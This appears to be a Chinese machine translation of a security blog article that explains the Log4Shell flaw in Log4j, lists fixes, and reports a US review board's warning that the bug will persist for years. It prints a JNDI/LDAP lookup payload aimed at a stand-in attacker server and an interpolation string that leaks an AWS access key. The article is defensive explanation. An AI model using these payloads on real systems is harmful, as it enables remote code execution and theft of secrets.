8 个月后,美国称 Log4Shell 将存在“十年或更长时间”

源节点: 1581315

记得 Log4Shell?

这是一个流行的开源 Java 编程工具包中的一个危险错误,称为 日志4j,是“Logging for Java”的缩写,由 Apache 软件基金会根据自由、免费的源代码许可证发布。

如果您曾经编写过任何类型的软件,从 Windows 笔记本电脑上最简单的 BAT 文件到在整个服务器机架上运行的最复杂的大型应用程序,您都会使用日志记录命令。

从基本输出,例如 echo "Starting calculations (this may take a while)" 打印到屏幕上,一直到出于审计或合规性原因保存在一次写入数据库中的正式消息,日志记录是大多数程序的重要组成部分,尤其是当出现问题并且您需要清楚地记录之前的确切记录时问题来了。

Log4Shell 漏洞 (实际上,事实证明有几个相关的问题,但为了简单起见,我们将把它们都当作一个大问题来对待)结果是一半错误,一半功能。

换句话说,Log4j 做了它在手册中所说的,不像在缓冲区溢出这样的错误中,有问题的程序错误地试图弄乱它承诺它将不理会的数据......

…但是除非你真的仔细阅读了手册,并且自己采取了额外的预防措施,在 Log4j 之上添加了一层仔细的输入验证,否则你的软件可能会失败。

真的,很糟糕,完全不卡。

插值被认为是有害的

简而言之,Log4j 并不总是完全按照您提供的方式记录日志消息。

取而代之的是,它有一个“特征”,在行话中被称为 插值, 命令替换 or 自动重写,以便您可以在日志记录实用程序本身内部触发文本操作功能,而无需编写自己的特殊代码来执行此操作。

例如,下面 INPUT 列中的文本将按字面意思记录,就像您看到的一样,这可能是您对记录工具包的期望,特别是如果您想准确记录用户提供的输入数据出于监管原因:

输入结果 ----------- ------------------------ 用户名=duck -> USERNAME=duck Caller-ID:555-555-5555 -> Caller-ID:555-555-5555 当前版本 = 17.0.1 -> 当前版本 = 17.0.1

但是,如果您提交了包含在魔术字符序列中的文本 ${...},记录器有时会用它做一些聪明的事情,在接收到文本之后但在实际写入日志文件之前,如下所示:

输入结果 ---------------------- -------------- ----------------------------- CURRENT=${java:version}/${java:os} -> CURRENT=Java 版本17.0.1/Windows 10 10.0 服务器帐户为:${env:USER} -> 服务器帐户为:root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

显然,如果您接受来自可信来源的日志记录文本,允许 loggee 通过告诉它用内部数据替换纯文本来控制记录器是合理的,这种文本重写是有用的。

但是,如果您的目标是跟踪远程用户提交的数据,也许是出于监管记录保存的目的,那么这种自动重写是双重危险的:

  • 发生纠纷时, 您没有关于用户实际提交的内容的可靠记录,因为它可能已在输入和输出之间进行了修改。
  • 恶意用户可以发送偷偷构造的输入 为了激起您的服务器做一些不应该做的事情。

如果您正在记录用户输入,例如他们的浏览器标识字符串,例如(在行话中称为 User-Agent) 或他们的用户名或电话号码,您不想让用户有机会欺骗您将私有数据(例如上例中的 AWS_ACCESS_KEY_ID 之类的仅限内存的密码字符串)写入永久日志文件。

特别是如果您自信地告诉您的审计员或监管机构您永远不会将明文密码写入永久存储。 (你 不应该这样做,即使你没有正式告诉监管机构你没有!)

更糟糕的未来

然而,在 Log4Shell is-it-a-bug-or-is-it-a-feature 案例中,情况比我们上面展示的已经存在风险的示例要糟糕得多。

例如,故意提交如下所示输入数据的用户可能会触发一系列真正危险的事件:

输入结果------------------------------------------------ ---------------------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> 下载并运行远程 Java 程序!?

在上面的“插值”字符串中, ${...} 包含缩写的字符序列 jndildap 告诉 Log4j 这样做:

  • 使用 Java 命名和目录接口 (JNDI) 定位 dodgy.server.example 线上。
  • 通过 LDAP 连接到该服务器, 使用 TCP 端口 8888。
  • 索取资料 存储在 LDAP 对象中 BadThing.

换句话说,攻击者可以提交特制的输入,指示您的服务器“打电话回家” 到他们控制下的服务器,连请假都没有。

这怎么可能是“功能”?

您可能想知道像这样的“功能”是如何进入 Log4j 代码的。

但是,只要您从受信任的来源记录数据,这种文本重写就会很有用。

例如,您可以记录数字用户 ID,但也可以要求记录器使用 LDAP( 轻量级目录访问协议,在业界广泛使用,包括微软的 Active Directory 系统)来检索和保存当时与该帐号关联的用户名。

这将提高日志文件中条目的可读性和历史价值。

但是上例中 Log4j 调用的 LDAP 服务器(是远程用户选择的,别忘了)不太可能知道真相,更不用说告诉它了,恶意用户因此可以使用这个技巧填充您的日志包含虚假甚至合法的可疑数据。

更糟糕的是,LDAP 服务器 可以返回预编译的 Java 代码以生成要记录的数据,并且您的服务器将尽职尽责地运行该程序 - 一个未知程序,由不受信任的服务器提供,由不受信任的用户选择。

粗略地说,如果网络中任何地方的任何服务器记录了从外部进入的不受信任的输入,并使用 Log4j 来执行此操作……

......然后该输入可以用作直接和直接的方式来欺骗您的服务器运行其他人的代码,就像那样。

那叫 RCE的 在行话中,简称 远程代码执行和 RCE 漏洞通常是网络犯罪分子最热衷寻找的,因为它们通常可以被利用来自动植入恶意软件。

不幸的是,这个 bug 的本质意味着危险不仅限于面向 Internet 的服务器,因此使用用 C 编写的 Web 服务器,而不是 Java(例如 IIS、Apache https、nginx),因此他们自己并没有使用 buggy Log4j 代码并没有让您摆脱风险。

从理论上讲,任何从网络上其他地方接收和记录数据并使用 Log4j 库的后端 Java 应用程序......

…可能会被外部攻击者接触和利用。

修复非常简单:

  • 查找旧版本 Log4j 网络中的任何地方。 Java 模块通常具有类似的名称 log4j-api-2.14.0.jar log4j-core-2.14.0.jar,其中 jar 是短期的 Java 存档,一种特殊结构的 ZIP 文件。 使用可搜索的前缀、明确的扩展名和嵌入文件名中的版本号,快速查找带有“错误”版本的 Java 库代码的违规文件实际上相当容易。
  • 替换有缺陷的版本 使用更新的修补程序。
  • 如果您无法更改 Log4J 版本, 您可以通过从有缺陷的 Log4j 包(处理 JNDI 查找的 Java 代码,如上所述)中删除单个代码模块,并重新打包您自己的精简 JAR 文件并抑制错误来降低或消除风险。

传奇继续

不幸的是,最近, 详细报告 关于美国上周发布的 Log4Shell 传奇 网络安全审查委员会 (CSRB) 是国土安全部的一部分,其中包含令人担忧的建议(我们在下面强调):

[T]Log4j 事件还没有结束。 [CSRB] 评估 Log4j 是一个“地方性漏洞”,并且 Log4j 的易受攻击的实例将在未来许多年保留在系统中, 也许十年或更长时间. 重大风险依然存在。

怎么办呢?

42 页(仅执行摘要就将近 XNUMX 页), 董事会报告 是一份很长的文件,其中的部分内容很繁重。

但我们建议您通读一遍,因为这是一个引人入胜的故事,说明即使是本应快速轻松解决的网络安全问题也可能被忽略,或推迟到以后,或被完全拒绝为“别人的问题”问题”来解决。

我们全心全意支持的美国公共服务部门的显着建议包括:

  • 培养维护准确信息技术 (IT) 资产和应用程序清单的能力。
  • [设置一个] 记录在案 漏洞响应程序.
  • [建立] 记录的漏洞披露和处理流程。

谈到网络安全,不要问其他人能为你做什么……

…但是想想你能为自己做些什么,因为你所做的任何改进几乎肯定会 造福他人 以及。


[嵌入的内容]


时间戳记:

更多来自 裸体安全